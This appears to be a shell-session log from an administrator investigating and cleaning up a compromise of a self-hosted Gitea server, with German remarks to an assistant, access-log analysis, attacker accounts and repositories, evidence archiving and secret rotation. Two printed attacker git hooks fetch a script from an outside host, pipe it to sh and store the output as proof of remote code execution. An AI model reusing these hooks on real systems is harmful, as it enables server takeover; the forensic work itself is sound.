"POST /wp/wp-json/batch/vN 158 "POST /wp//wp-json/batch/vN 157 "POST /wp/wp-json/Batch/vN 154 "POST /wordpress/wp-json/Batch/vN 154 "POST /wordpress/wp-json/batch/vN/ 154 "POST /wordpress//wp-json/batch/vN 154 "POST /wordpress/wordpress/wp-json/batch/vN 154 "POST /wordpress/blog/wp-json/batch/vN 142 "POST /blog/wp-json/Batch/vN 142 "POST /blog/wp-json/batch/vN/ 142 "POST /blog//wp-json/batch/vN root@sv003 /opt/appdata/gitea/git/repositories # --- root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head 175445 destengs.com:443 143223 destengs.de:443 54077 destengs.com:80 24393 destengs.de:80 14 sv003.destengs.com:80 root@sv003 /home/svn # --- root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | grep -E 'api/v1|git-upload-pack|git-receive-pack|/user/login' | awk '{print $1}' | sort | uniq -c | sort -rn 450 destengs.com:443 219 destengs.de:443 84 destengs.com:80 root@sv003 /home/svn # --- root@sv003 /home/svn # grep -rn '8084' /etc/apache2/ /etc/apache2/sites-available/git.destengs.com.conf:39: BalancerMember http://127.0.0.1:8084 /etc/apache2/sites-available/git.destengs.com.conf:88: BalancerMember http://127.0.0.1:8084 root@sv003 /home/svn # --- root@sv003 /home/svn # grep -nE 'ServerName|CustomLog|ErrorLog' /etc/apache2/sites-available/git.destengs.com.conf 3: ServerName git.destengs.com 9: ErrorLog /var/log/virtualmin/git.destengs.com_error_log 10: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined 46: ServerName git.destengs.com 52: ErrorLog /var/log/virtualmin/git.destengs.com_error_log 53: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined root@sv003 /home/svn # --- root@sv003 /home/svn # zgrep -cH 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log* /var/log/virtualmin/git.destengs.com_access_log:729 /var/log/virtualmin/git.destengs.com_access_log.1.gz:1124 /var/log/virtualmin/git.destengs.com_access_log.2.gz:265 /var/log/virtualmin/git.destengs.com_access_log.3.gz:891 /var/log/virtualmin/git.destengs.com_access_log.4.gz:2407 /var/log/virtualmin/git.destengs.com_access_log.5.gz:2589 root@sv003 /home/svn # --- Hier erstmal das Ergebnis deiner Code-Zeile: ``` root@sv003 /home/svn # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $1, $9}' | sort | uniq -c | sort -rn | head -20 2112 103.13.206.65 201 1454 172.234.102.123 201 1118 138.199.60.33 201 1045 192.53.122.108 201 371 138.199.60.39 201 360 74.7.241.12 303 278 107.172.58.36 201 246 216.73.217.135 303 246 216.73.217.135 200 190 74.7.243.192 303 162 23.94.216.234 201 53 74.7.227.174 303 48 93.123.109.101 303 48 172.234.102.123 502 41 213.209.159.133 303 41 213.209.159.133 200 38 138.199.60.33 502 26 74.7.227.170 303 21 192.53.122.108 502 19 74.7.227.17 303 root@sv003 /home/svn # ``` Ja, bitte zeige mir nochmal, wie ich die Registrierung sperre. --- OK, die Registrierung ist nun gesperrt. --- root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $7}' | awk -F/ '{if ($2=="api") print $5; else print $2}' | sort | uniq -c | sort -rn | head -20 3131 gitea1337 3116 giteaa1337 420 tlg 289 user 217 wlfb 209 mkt 79 lwc 23 llm 14 wbg 9 pln 8 trf 7 ncd 7 n8n 7 krtr 5 rdms 3 testpoc99091 3 testpoc98983 3 testpoc98707 3 testpoc98701 3 testpoc98443 root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | grep -vE 'gitea1337|giteaa1337|testpoc' | awk '{print $1, $6, $9}' | sort | uniq -c | sort -rn | head -20 360 74.7.241.12 "GET 303 246 216.73.217.135 "GET 303 246 216.73.217.135 "GET 200 190 74.7.243.192 "GET 303 53 74.7.227.174 "GET 303 48 93.123.109.101 "GET 303 41 213.209.159.133 "GET 303 41 213.209.159.133 "GET 200 26 74.7.227.170 "GET 303 19 74.7.227.17 "GET 303 9 74.7.227.38 "GET 303 7 74.7.241.25 "GET 303 6 74.7.227.160 "GET 303 2 74.7.241.12 "GET 200 root@sv003 ~/docker/git # --- Bevor wir das tun, bitte analysieren, in welchem Umfang die Angreifer Inhalte auf den Server hochgeladen haben und welche Inhalte das waren. --- root@sv003 ~/docker/git # du -sh /opt/appdata/gitea/git/repositories/* | sort -rh | head -30 455M /opt/appdata/gitea/git/repositories/gitea1337 453M /opt/appdata/gitea/git/repositories/giteaa1337 16M /opt/appdata/gitea/git/repositories/tlg 3.1M /opt/appdata/gitea/git/repositories/wlfb 816K /opt/appdata/gitea/git/repositories/llm 720K /opt/appdata/gitea/git/repositories/lwc 660K /opt/appdata/gitea/git/repositories/mkt 404K /opt/appdata/gitea/git/repositories/ncd 316K /opt/appdata/gitea/git/repositories/testpoc96516 316K /opt/appdata/gitea/git/repositories/testpoc95946 316K /opt/appdata/gitea/git/repositories/testpoc93288 316K /opt/appdata/gitea/git/repositories/testpoc85733 316K /opt/appdata/gitea/git/repositories/testpoc82932 316K /opt/appdata/gitea/git/repositories/testpoc82705 316K /opt/appdata/gitea/git/repositories/testpoc79896 316K /opt/appdata/gitea/git/repositories/testpoc69572 316K /opt/appdata/gitea/git/repositories/testpoc66868 316K /opt/appdata/gitea/git/repositories/testpoc63173 316K /opt/appdata/gitea/git/repositories/testpoc58970 316K /opt/appdata/gitea/git/repositories/testpoc55339 316K /opt/appdata/gitea/git/repositories/testpoc52938 316K /opt/appdata/gitea/git/repositories/testpoc50766 316K /opt/appdata/gitea/git/repositories/testpoc42534 316K /opt/appdata/gitea/git/repositories/testpoc40770 316K /opt/appdata/gitea/git/repositories/testpoc38905 316K /opt/appdata/gitea/git/repositories/testpoc38380 316K /opt/appdata/gitea/git/repositories/testpoc13731 316K /opt/appdata/gitea/git/repositories/testpoc12313 312K /opt/appdata/gitea/git/repositories/testpoc97134 312K /opt/appdata/gitea/git/repositories/testpoc87888 root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # du -sk /opt/appdata/gitea/git/repositories/gitea1337/* /opt/appdata/gitea/git/repositories/giteaa1337/* | sort -rn | head -10 304 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git 300 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-22675.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99938.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99901.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99882.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99877.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99860.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99747.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99670.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99534.git root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git log --all --stat --format='%h %an %ad %s' | head -30 0f01a93 poc Tue Aug 25 08:01:44 2026 +0000 rce proof proof | 0 1 file changed, 0 insertions(+), 0 deletions(-) 7f2e27a giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-2 79c502c giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-1 hooks/post-index-change | 14 ++++++++++++++ 1 file changed, 14 insertions(+) c609db6 giteaa1337 Tue Aug 25 08:01:37 2026 +0000 Initial commit README.md | 2 ++ 1 file changed, 2 insertions(+) root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git show 79c502c:hooks/post-index-change #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$(busybox wget --no-check-certificate -q -O- http://repositorylinux.jo3.org/cronsys | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # find /opt/appdata/gitea -type f -perm /111 -newermt 2026-08-01 -not -path '*/repositories/*' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/commit-msg.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/sendemail-validate.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/prepare-commit-msg.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/push-to-checkout.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-push.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-merge-commit.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-rebase.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/update.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-applypatch.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-update.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-commit.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-receive.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/applypatch-msg.sample root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # stat -c '%y %s Bytes' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change && cat /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change 2026-09-24 10:32:24.627976734 +0200 844 Bytes #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$(curl -s -k https://archive.repositoryserver.org/linuxsh | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker image inspect gitea/gitea:1.27.3 --format '{{.Metadata.LastTagTime}}' 0001-01-01 00:00:00 +0000 UTC root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker inspect gitea --format '{{.Created}}' 2026-09-24T10:36:22.759809116Z root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # grep 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log | tail -5 | awk '{print $1, $4, $9}' 138.199.60.39 [24/Sep/2026:12:02:35 201 138.199.60.39 [24/Sep/2026:12:02:38 201 138.199.60.39 [24/Sep/2026:12:02:36 201 138.199.60.39 [24/Sep/2026:12:02:39 201 138.199.60.39 [24/Sep/2026:12:02:37 201 root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker exec -u git gitea sh -c 'for r in /data/git/repositories/*/*.git; do s=$(git --git-dir="$r" cat-file -s rce-proof:proof 2>/dev/null) && echo "$s $r"; done | sort -rn | head -10' 783 /data/git/repositories/testpoc95173/poc-38464.git 783 /data/git/repositories/testpoc60874/poc-41072.git 506 /data/git/repositories/giteaa1337/giteaa-98896.git 506 /data/git/repositories/giteaa1337/giteaa-92169.git 506 /data/git/repositories/giteaa1337/giteaa-89750.git 506 /data/git/repositories/giteaa1337/giteaa-89164.git 506 /data/git/repositories/giteaa1337/giteaa-88596.git 506 /data/git/repositories/giteaa1337/giteaa-84205.git 506 /data/git/repositories/giteaa1337/giteaa-82686.git 506 /data/git/repositories/giteaa1337/giteaa-81163.git root@sv003 ~/docker/git # --- root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-98896.git cat-file -p rce-proof:proof You can get through this! ps: unrecognized option: sort=-%cpu BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary. Usage: ps [-o COL1,COL2=HEADER] [-T] Show list of processes -o COL1,COL2=HEADER Select columns for display -T Show threads There is still a process! ps: unrecognized option: sort=-%cpu BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary. Usage: ps [-o COL1,COL2=HEADER] [-T] Show list of processes -o COL1,COL2=HEADER Select columns for display -T Show threads root@sv003 ~/docker/git # --- root@sv003 ~/backup # tar czf ./gitea-hack-evidence.tgz /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-98896.git /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git /opt/appdata/gitea/git/repositories/testpoc60874 /opt/appdata/gitea/git/repositories/testpoc95173 /opt/appdata/gitea/gitea/tmp/local-repo /var/log/virtualmin/git.destengs.com_* tar: Removing leading `/' from member names tar: Removing leading `/' from hard link targets root@sv003 ~/backup # ls -alhrt total 80M -rw-r--r-- 1 root root 54M Sep 24 12:31 gitea-backup_2026-09-24_12-31.tar.gz drwx------ 18 root root 4.0K Sep 24 12:35 .. drwxr-xr-x 2 root root 4.0K Sep 24 16:53 . -rw-r--r-- 1 root root 27M Sep 24 16:53 gitea-hack-evidence.tgz root@sv003 ~/backup # --- root@sv003 ~/backup # docker exec -u git gitea gitea admin user list | awk 'NR>1 && $1>=15 {print $2}' > /root/attacker-users.txt root@sv003 ~/backup # wc -l /root/attacker-users.txt 257 /root/attacker-users.txt root@sv003 ~/backup # grep -vE '^testpoc|1337' /root/attacker-users.txt jujpqlugml dqyywxkedt oehhhkluuj root@sv003 ~/backup # --- 2026/09/24 15:09:09 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners root@sv003 ~/backup # --- root@sv003 ~/backup # docker exec -u git gitea gitea admin user list ID Username Email IsActive IsAdmin 2FA 1 admin nix@no.de true true false 2 tlg tlg@nix.de true false false 3 llm llm@nix.de true false false 4 wbg wbg@nix.de true false false 5 n8n n8n@nix.de true false false 6 krtr krtr@nix.de true false false 7 try try@nix.de true false false 8 trf trf@nix.de true false false 9 ncd ncd@nix.de true false false 10 rdms Thomas.Langer@destengs.com true false false 11 pln No@nix.de true false false 12 mkt mkt@nix.no true false false 13 lwc lwc@nix.de true false false 14 wlfb wlfb@nix.no true false false root@sv003 ~/backup # --- root@sv003 ~/backup # grep -nE '^\[|SECRET|TOKEN|PASSWD|PASSWORD|DB_TYPE' /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1/' 6:[repository] 9:[repository.local] 12:[repository.upload] 15:[server] 25:LFS_JWT_SECRET = 28:[database] 30:DB_TYPE = 34:PASSWD = 39:[indexer] 42:[session] 46:[picture] 50:[attachment] 53:[log] 58:[security] 60:SECRET_KEY = 63:INTERNAL_TOKEN = 64:PASSWORD_HASH_ALGO = 66:[service] 78:[lfs] 81:[mailer] 84:[openid] 88:[cron.update_checker] 91:[repository.pull-request] 94:[repository.signing] 97:[oauth2] 98:JWT_SECRET = root@sv003 ~/backup # --- root@sv003 ~/backup # sed -n '28,38p' /opt/appdata/gitea/gitea/conf/app.ini | grep -v PASSWD [database] PATH = /data/gitea/gitea.db DB_TYPE = sqlite3 HOST = localhost:3306 NAME = gitea USER = root LOG_SQL = false SCHEMA = SSL_MODE = disable root@sv003 ~/backup # --- root@sv003 ~/backup # diff /root/backup/app.ini.before-rotation /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1/' 25c25 < LFS_JWT_SECRET = --- > LFS_JWT_SECRET = 60c60 < SECRET_KEY = --- > SECRET_KEY = 63c63 < INTERNAL_TOKEN = --- > INTERNAL_TOKEN = 98c98 < JWT_SECRET = --- > JWT_SECRET = root@sv003 ~/backup # --- root@sv003 ~/backup # cd ~/docker/git && docker compose restart WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete [+] Restarting 1/1 ✔ Container gitea Started 1.0s root@sv003 ~/docker/git # root@sv003 ~/docker/git # docker compose logs --tail 30 gitea WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete gitea | 2026/09/24 15:24:27 routers/init.go:117:InitWebInstalled() [I] Git version: 2.54.0 (home: /data/gitea/home) gitea | 2026/09/24 15:24:27 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments gitea | 2026/09/24 15:24:27 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars gitea | 2026/09/24 15:24:27 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars gitea | 2026/09/24 15:24:27 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs gitea | 2026/09/24 15:24:27 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive gitea | 2026/09/24 15:24:27 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages gitea | 2026/09/24 15:24:27 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log gitea | 2026/09/24 15:24:27 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts gitea | 2026/09/24 15:24:27 routers/common/db.go:22:InitDBEngine() [I] Beginning ORM engine initialization. gitea | 2026/09/24 15:24:27 routers/common/db.go:29:InitDBEngine() [I] ORM engine initialization attempt #1/10... gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [I] PING DATABASE sqlite3 gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1 gitea | 2026/09/24 15:24:27 routers/init.go:138:InitWebInstalled() [I] ORM engine initialization successful! gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:41:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:78:InitIssueIndexer.1() [I] PID 16: Initializing Issue Indexer: bleve gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:87:populateRepoIndexer() [I] Done (re)populating the repo stats indexer with existing repositories gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:155:InitIssueIndexer.2() [I] Issue Indexer Initialization took 713.587µs gitea | 2026/09/24 15:24:27 cmd/web.go:329:listen() [I] Listen: http://0.0.0.0:3000 gitea | 2026/09/24 15:24:27 cmd/web.go:333:listen() [I] AppURL(ROOT_URL): https://git.destengs.com/ gitea | 2026/09/24 15:24:27 cmd/web.go:336:listen() [I] LFS server enabled gitea | 2026/09/24 15:24:27 modules/graceful/server.go:52:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 16 root@sv003 ~/docker/git # --- Du schriebst "Ein starkes, einmaliges Passwort ist dagegen sicher, ein schwaches oder wiederverwendetes nicht. Deshalb ändern wir sie." Falsch, wir ändern sie nicht. Alle Nutzer haben starke Passwörter verwendet. Wenn nur die Passwort-Hashes gespeichert waren und erbeutet wurden, brauchen die Passworte nicht geändert werden. ---